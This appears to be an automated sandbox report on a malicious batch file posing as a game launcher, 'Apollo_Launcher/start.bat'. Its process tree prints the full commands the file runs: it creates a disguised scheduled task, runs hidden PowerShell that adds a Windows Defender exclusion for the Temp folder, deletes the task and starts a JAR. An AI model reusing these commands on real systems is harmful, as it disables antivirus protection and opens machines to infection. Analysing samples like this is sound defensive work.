Analysis

  • max time kernel
    118s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    05/03/2025, 06:36

General

  • Target

    Apollo_Launcher/start.bat

  • Size

    839B

  • MD5

    977bfc518ac71c9a003d5429407c589d

  • SHA1

    48c382feb7e7aa33c48d4f2198a9c9a69f8782c0

  • SHA256

    98663a87b891ceb87520dfd8f997c4e3d531007ed9d9cd2e5e55c120f664cc85

  • SHA512

    05c0bc7ffab4b9026cf39dfa5d33a07ba3db90cdf858193d63b0aa63c3efd869c117b5086fb664b6cdaefd8f16cfe98e9972ab743354a120594bdc50f2bf3db1

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Drops file in System32 directory 1 IoCs
  • Delays execution with timeout.exe 1 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 27 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\Apollo_Launcher\start.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3032
    • C:\Windows\system32\net.exe
      net session
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:324
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 session
        3⤵
          PID:2320
      • C:\Windows\system32\schtasks.exe
        schtasks /query /tn "HP-Helper"
        2⤵
          PID:2564
        • C:\Windows\system32\schtasks.exe
          schtasks /create /tn "HP-Helper" /tr "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'" /sc once /st 00:00 /rl highest /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1700
        • C:\Windows\system32\schtasks.exe
          schtasks /run /tn "HP-Helper"
          2⤵
            PID:2560
          • C:\Windows\system32\timeout.exe
            timeout /t 3 /nobreak
            2⤵
            • Delays execution with timeout.exe
            PID:596
          • C:\Windows\system32\schtasks.exe
            schtasks /delete /tn "HP-Helper" /f
            2⤵
              PID:2492
            • C:\Windows\system32\java.exe
              java -jar Apollo.jar
              2⤵
                PID:2764
            • C:\Windows\system32\taskeng.exe
              taskeng.exe {ADE4C146-0EDF-424D-8A79-F9E98CD529E0} S-1-5-21-3692679935-4019334568-335155002-1000:BCXRJFKE\Admin:Interactive:[1]
              1⤵
              • Suspicious use of WriteProcessMemory
              PID:1692
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
                2⤵
                • Command and Scripting Interpreter: PowerShell
                • Drops file in System32 directory
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:2140
            • C:\Windows\explorer.exe
              "C:\Windows\explorer.exe"
              1⤵
                PID:2960

              Network

              MITRE ATT&CK Enterprise v15

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              Downloads

              • memory/2140-4-0x000000001B390000-0x000000001B672000-memory.dmp

                Filesize

                2.9MB

              • memory/2140-5-0x0000000001D70000-0x0000000001D78000-memory.dmp

                Filesize

                32KB

              • memory/2764-16-0x0000000000430000-0x0000000000431000-memory.dmp

                Filesize

                4KB